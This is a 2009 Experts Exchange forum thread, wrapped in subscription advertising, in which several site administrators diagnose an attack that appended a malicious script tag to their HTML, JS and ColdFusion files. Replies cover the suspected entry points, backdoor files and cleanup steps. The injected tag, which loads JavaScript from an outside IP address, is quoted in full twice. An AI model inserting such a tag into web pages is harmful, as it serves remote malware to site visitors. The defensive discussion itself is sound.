Question

Malicious Code on Website

Asked by: andrewaiello

My website was just infected by some malicious code.  All of the html pages within my ftp were infected with the line of javascript below which appeared after the closing html tag.  I have removed this line of code and changed my FTP Password.

<script src=http://222.231.60.19/seraph/door/iisHelp/help.js></script>

Can someone tell me how this code got there? Is there any way to prevent this kind of attack other than a strong FTP Password?

This Question has been solved and asker verified All Experts Exchange premium technology solutions are available to subscription members.

Subscribe now for full access to Experts Exchange and get

Instant Access to this Solution

  • Plus...
  • 30 Day FREE access, no risk, no obligation
  • Collaborate with the world's top tech experts
  • Unlimited access to our exclusive solution database
  • Never be left without tech help again

Subscribe Now

Asked On
2009-06-22 at 12:33:51ID24512333
Tags

website virus

,

trojan

,

coldfusion

Topics

McAfee Anti-Virus Software

,

Desktop Anti-Virus

,

Server Anti-Virus

Participating Experts
4
Points
500
Comments
13

Trusted by hundreds of thousands everyday for fast, accurate and reliable tech support.

  • "The time we save is the biggest benefit of Experts Exchange to Warner Bros. What could take multiple guys 2 hours or more each to find is accessed in around 15 minutes on Experts Exchange." Mike Kapnisakis, Warner Bros.
  • "Our team likes having a resource that is more secure than just using Google and most experts using this service really know their stuff. It's nice to look here first versus using Google." Dayna Sellner, Lockheed Martin
  • "Anytime that I've been stumped with a problem, 9 out of 10 times Experts Exchange has either the accepted solution or an open discussion of the potential solution to the problem." Kenny Red, eBay Inc.

See what Experts Exchange can do for you.

Got a question?

We've got the answer.

Experts Exchange has been collecting answers to technology questions since 1996…3 million and counting! If you have a question, chances are we already have your answer.

Screenshot of Experts Exchange Knowledgebase

Need individual assistance?

Our experts are ready to help.

If you can't find the exact answer you're looking for, ask our exclusive community of 50,000 experts. You’ll get a personalized answer from a trusted professional.

Screenshot of Experts Exchange Knowledgebase

Want to learn from the best?

Read articles from industry experts.

Thousands of free tech tips, tricks, how-to’s and tutorials are available in our peer reviewed articles section. See for yourself how smart our experts are, no login required.

Screenshot of an Article

Working on a long term project?

Store your work and research.

Save solutions to your questions, answers you’ve discovered through searching plus helpful articles in your personal knowledgebase for easy future access.

Screenshot of Experts Exchange Knowledgebase

Access the answers to your technology questions today.

Subscribe Now

30-day free trial. Register in 60 seconds.

What Makes Experts Exchange Unique?

Members of the expert community talk about why the experience at Experts Exchange is different than what you will find anywhere else.

Trusted by the world's most respected brands.

image of each brand's logo

Faithfully serving IT professionals since 1996.

Experts Exchange Logo

Try it out and discover for yourself.

Subscribe Now

30-day free trial. Register in 60 seconds.

Related Solutions

  1. explorer.exe --- malicious script
    i am on an ethernet network.....and when ever i try to download something from other computer on the network i get the following message from norton ---- [explorer.exe is a malicious script]-- does this means someone is sending me a virus in the ethernet... how can i recti...
  2. examples for malicious codes
    Could someone explain me what makes a code to be 'malicious' ? If for example i enter a web page and click source -> view can i identify according to some parameters that the code i see is 'malicious' (like the function open_window () that repeats itself everytime i clos...
  3. Keyfinder.exe flagged as malicious software
    Keyfinder.exe from Magic Jelly Beans is being flagged by TrendMicro's Anti-Spyware as malicious code. Is this a false positive? How does one know? ub Running Windows XP Home SP2 - up to date TM AntiSpyware V. 3.0 up to date
  4. web page infected with malicious java script
    hello, i work for a hosting company, for the last few months we're having problem with web page infection, many of our users web page that has <body> tag in it will be infected with this code, i need a solution that can help me to fix this problem, perhaps how to clean...

Free Tech Articles

  1. WARNING: 5 Reasons why you should NEVER fix a computer for free.
    It is in our nature to love the puzzle. We are obsessed. The lot of us. We love puzzles. We love the challenge. We thrive on finding the answer. We hate disarray. It bothers us deep in our soul. W...
  2. SCCM OSD Basic troubleshooting
    SCCM 2007 OSD is a fantastic way to deploy operating systems, however, like most things SCCM issues can sometimes be difficult to resolve due to the sheer volume of logs to sift through and the dispe...
  3. Migrate Small Business Server 2003 to Exchange 2010 and Windows 2008 R2
    This guide is intended to provide step by step instructions on how to migrate from Small Business Server 2003 to Windows 2008 R2 with Exchange 2010. For this migration to work you will need the fo...
  4. Create a Win7 Gadget
    This article shows you how to create a simple "Gadget" -- a sort of mini-application supported by Windows 7 and Vista. Gadgets can be dropped anywhere on the desktop to provide instant information, ...
  5. Outlook continually prompting for username and password
    There have been a lot of questions recently regarding Outlook prompting for a username and password whilst using Exchange 2007. There are a few reasons why this would happen and I will try to cover t...
  6. Backup Exchange 2010 Information Store using Windows Backup
    There seems to be quite a lot of confusion around the ability to backup Exchange 2010 using the built in Windows Backup feature. This stems from the omission of this feature prior to Exchange 2007 s...

Cloud Class Webinars

  1. Avoiding Bugs in Microsoft Access
    Alison Balter takes and in-depth look at avoiding bugs in Access. In this webinar you will learn about using the immediate window to debug your applications, invoking the debugger, using breakpoints to troubleshoot, stepping through code, setting the next statement to execute, ...
  2. Top 10 Best New Features in Visio 2010
    Scott Helmers gives live demonstrations of the top 10 new features in Visio 2010. This webinar will teach you how to create compelling diagrams by adding shapes to the page with a single click, linking the shapes in a diagram to data in Excel (or SQL Server, or SharePoint), ...
  3. IT Consultant Business Secrets Revealed
    Michael Munger, Experts Exchange tech pro and IT consultant, pulls back the curtain on his very successful businesses and answers question on every IT consultant and business owner should know about. He shares secrets on what he did to solve the 5 most common problems in IT, ...
  4. Disaster Recovery and Business Continuity
    Quest CTO, Mike Billon, gives an overview of the steps involved in building a dunamic disaster recovery plan. Through case studies and an examination of software/hardware tooles for monitoring and testing, you'll gain a better understandin of where you are, where you want ...
  5. Organize Your Visio Diagrams with Containers and Lists
    Scott Helmers uses cross functional flowcharts, wireframe diagrams, data graphic legends and seating charts to teach you: how to ustilize all three new structured diagram components in Visio 2010, the best practices for organizeing shapes in previous version of Visio, how to organize ...
  6. How to Us Objects, Properties, Events and Methods in Microsoft Access
    Alison Dalter gives an in-depbth look at objects, properties, events and methods in Microsoft Access. In this webinar you will learn about using the object browser, referring to objects, working with properties and methods, working with object variables, understanding the ...

Join the Community

Give a Little. Get a Lot.

Join the community of experts here and help other tech pros by answering question in your area of expertise. You can earn FREE access to all Experts Exchange's premium features and resources.

Join the Community

Answers

 

by: slick_moePosted on 2009-06-22 at 14:39:30ID: 24686805

On the same day of this posting, I'm having the exact same problem on my website.  Are you on a shared server?

 

by: xmachinePosted on 2009-06-22 at 14:42:11ID: 24686837

Hi,

1) This is called Javascript injection attack.

Basically, the attacker launches an SQL injection attack against your website. SQL injection attacks try to exploit trust relationships between web applications and the databases that support them in order to add, remove or modify data in databases in ways it was never intended. In the case of your website, the intent of the SQL injection is to add a single line of HTML code to the database so that yourwebsite.com will present it to every user who visits the site.

The initial code has been an HTML "script" command, which is used to define a segment of code for your browser to run. The code segment to run is a malicious javascript hosted at (222.231.60.19) server.

2) Since your site got infected I suggest that you:

A. Take the site down to protect other Internet users.
B. Replace the contents of the site with a known clean backup
C. Change all password on the site (including FTP credentials)
D. Patch all the sites software
E. Reload the site.

3) To prevent such attack in the future, please check the following links:

http://www.breach.com/resources/breach-security-labs/alerts/mass-sql-injection-attack-evolution.html

http://msmvps.com/blogs/harrywaldron/archive/2008/05/31/microsoft-best-practices-for-preventing-sql-injection-attacks.aspx

http://msdn.microsoft.com/en-us/magazine/cc163917.aspx

http://msdn.microsoft.com/en-us/library/ms998271.aspx

4) Use a Website vulnerability scanner to detect any security flaws:

http://sectools.org/web-scanners.html

http://www.beyondsecurity.com/vulnerability-scanner.html

http://wapiti.sourceforge.net/

http://www.acunetix.com/vulnerability-scanner/

http://www.codescan.com/

5) You need to install a Web Application Firewall (Commercial / Open Source) to defend against such attacks, Check the following links:

http://www.modsecurity.org/

http://guardian.jumperz.net/index.html

http://www.aqtronix.com/?PageID=99

http://www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-321603531989&displaylang=en

http://www.networkworld.com/reviews/2003/0818rev2.html

http://searchsoftwarequality.techtarget.com/news/article/0,289142,sid92_gci1313797,00.html

http://www.crn.com/it-channel/186700845

http://www.networkcomputing.com/showArticle.jhtml?articleID=185303795

www.citrix.com/english/ps2/products/product.asp?contentID=25636

http://www.breach.com/products/web-application-firewall.html

http://www.networkcomputing.com/channels/security/showArticle.jhtml?articleID=185303650


Good luck

Symantec Certified Specialist

 

by: BreedworksPosted on 2009-06-23 at 18:33:34ID: 24697631

Hello, I have experienced the same issue. I thought I had this licked by attempting to clean all of the infected .js, .htm and other file that had the script attached to them. We just reloaded several sites, and are now finding that the stuff is coming back. Is the source of the mal ware on the server? Or in a database? Or does just running a single page with the script initiate the malware spreading again?

 

by: citadelnetPosted on 2009-06-24 at 10:32:21ID: 24703426

I've been seeing this as well and have a little more info. I'm still verifying but hopfully, working together, we can flesh this thing out:

The issue that I'm seeing is NOT a SQL Injection attack. It's appending the malicious code to .htm, .html, application.cfm, .js (this is what I found so far).

This looks like a blind attack (doesn't know what files reside on server).

I'm seeing this on a server that's running Server 2008 running IIS7 and ColdFusion. I'm investigating a form that allowed for a user to have the ability to upload a document with a mime type of application/octetstream (i.e. exe). The directory it was uploaded to allowed for execute permissions (not good).

Here's the serious part. It's uploaded (I think) a .exe (prefix is a random numeric number) and looks to be hidden via a root kit.

TrendMicro picked it up as Cryp_Xin1.

Again, I'm still not definitely sure how this thing was put up on the server (via Form Submission, ColdFusion or FTP). I'm pretty sure it wasn't ftp since I check my logs and didn't see anything out of the norm here.

If anyone else has some additional information to share (OS/application configuration, good root kit discovery / removal software, etc.) it would be greatly appreciated!

<script src=http://222.231.60.19/seraph/door/iisHelp/help.js></script>

                                              
1:

Select allOpen in new window

 

by: BreedworksPosted on 2009-06-24 at 10:55:12ID: 24703727

Thanks. More for the gristmill... We are on Hosting.com servers, (just
bought by HMS), and the server affected most severely is a dedicated CF7. All
.js files, .htm, .asp and some application.cfm files have a javascript appended
(...seraph/door/...etc). Also, there are two file being added to the
/images/accounts/dir: image.cfm and index.cfm...both of these files have some
ugly code that appears to allow access by user seraph, and grants access to
virtual servers, upload, etc.

We have tried removing the included trash that is being added to the files, but
as soon as the files are reloaded and the pages begin serving again, the sites
become infected. Right now, we have pulled the plug on two servers, and stopped
all sites. Bad day on the mid-way.

Furthermore, the CF8 server we have is not showing signs files being appended,
but the server logs do show activity from seraph running post on
customtags/uploadfile.cfm. Finally, we also see at about the same time, morpheus
(bleep) scanner at work.

At present, Hosting.com is being very nice, but has little in the way of advice.
If anyone has further advice, we could definitely use it.

Thanks in advance...

 

by: citadelnetPosted on 2009-06-24 at 11:25:08ID: 24704072

Thanks Breedworks...I'm going to check this out...

More quick info....

Ok...I was able to isolate the file that was being executed (while it was executing). It was executing via c:\windows\temp\randomprefix.exe

Filesize is 44kb. It's accessing C:\inetpub\AdminScripts\adsutil.vbs (I removed this).

Anybody else seeing this. I'll continue to investigate

 

by: BreedworksPosted on 2009-06-24 at 11:51:42ID: 24704415

Thanks citadelnet,

Is see two files in our CF7 server's temp dir, 44k exes, with random file names. I am assuming that your removed your versions?

This is a message post from another forum, and appears to be related.
...I fought this last week on my dedicated server running Win Server 2003, IIS 6
and Cold Fusion 7. All patches were in place. Symantec End Point Protection
finally solved my problems after it removed a Trojan Horse hidden in the
Recycler Folder. I'm still not positive how the initial files got in but I was
suspecting a vulnerability in ISS 6 but I could be a Cold Fusion 7 issue as
well.

Once the trojan was removed from my Recycler folder my problems stopped. Before
that was found I manually removed a rogue service that was installed and could
not be stopped. It was called xatoov but appeared to have a randomly generated
name. In the Services control panel I was unable to stop the service or make any
configuration changes. Other virus scans I attempted did not find the trojan in
my Recycler folder.

 

by: citadelnetPosted on 2009-06-24 at 12:36:28ID: 24704877

Hello Breedworks...I'v been going through the image.cfm and the index.cfm...very nasty.

Part of the code that I'm seeing is that he's trying to disable scriptprotect on application.cfm files. I'm wondering if this has bunged up my ColdFusion administrator (since it's encrypted)

Did you happen to check your ColdFusion administrator...is it still operational?

I'm getting a "this does not appear to be a valid class byte array" error.

 

by: BreedworksPosted on 2009-06-24 at 13:01:37ID: 24705155

Hmm, I had IIS turned off. i have just now removed the offending .exes and tried to restart IIS. First time failed, but second time it started. I then tried to access the CF admin and I too, am getting the "this does not appear to be a valid class byte array" error.

My host has just now recommended trashing the server, and starting from "clean" files. Ugh....from what you know, do you think that is is possible to clean the website's files of all the javascript, remove those image and index.cfm files, and then reload these files? And what about the DBs. we're using access files for most of the sites. Can they be trusted?

Thanks

 

by: BreedworksPosted on 2009-06-25 at 06:17:49ID: 24711052

Hi citadelnet, Are you using CFWebStore?

 

by: citadelnetPosted on 2009-06-25 at 06:38:37ID: 24711250

Hi Breedworks,

I would have to say yes to that. It actually based on code we purchased from the original developer which is fundamentally the same architecture as CFWebstore.

 

by: BreedworksPosted on 2009-06-25 at 06:50:53ID: 24711345

Ok, this is part os post on another group...from the author.

so far, I see two things that should be done, particularly on older stores. It would be best to check any site, just to be safe.

1. Remove upload.cfm, uploadfile.cfm and upload_thumbnails.cfm from the customtags directory

2. Comment out or remove the setting for the company logo around line 114 of users/dsp_account_form.cfm

 

by: BreedworksPosted on 2009-06-25 at 08:52:36ID: 24712715

One more note...The enter point seems to have been made possible through CF JSP pages being allowed. it is recommended that this feature be turned off.

20120131-EE-VQP-002

3 Ways to Join

30-Day Free Trial

The Experts

98% positive feedback on 31,087 answers since March 2000. angeliii is a Microsoft Most Valuable Professional for his work with MS SQL Server & Develoment.

He has also proven his knowledge of Visual Basic Programming, PHP Scripting and Oracle Databases.

The Experts

97% positive feedback on 10,752 answers since July 2000. lrmoore has more than 18 years experience in the networking industry.

The six-time Mircosoft MVPs specialties include firewalls, virtual private networking, and network management.

Testimonials

"...and excellent source for support... Kind of like having your very own IT dept." Electriciansnet

Testimonials

"I was apprehensive at signing up at first. However... it has already made my life as an IT administrator much easier." JaCrews

Testimonials

"WOW! You guys have great, active, and knowledgeable people on here." moore50

Business Clients

Business Clients

In the Press

"If you’ve got a question... Experts Exchange can supply an answer.”

In the Press

"...an invaluable aid for both IT professionals and those who require tech support."

In the Press

"where IT professionals provide quick answers on just about any topic"

Business Account Plans

Loading Advertisement...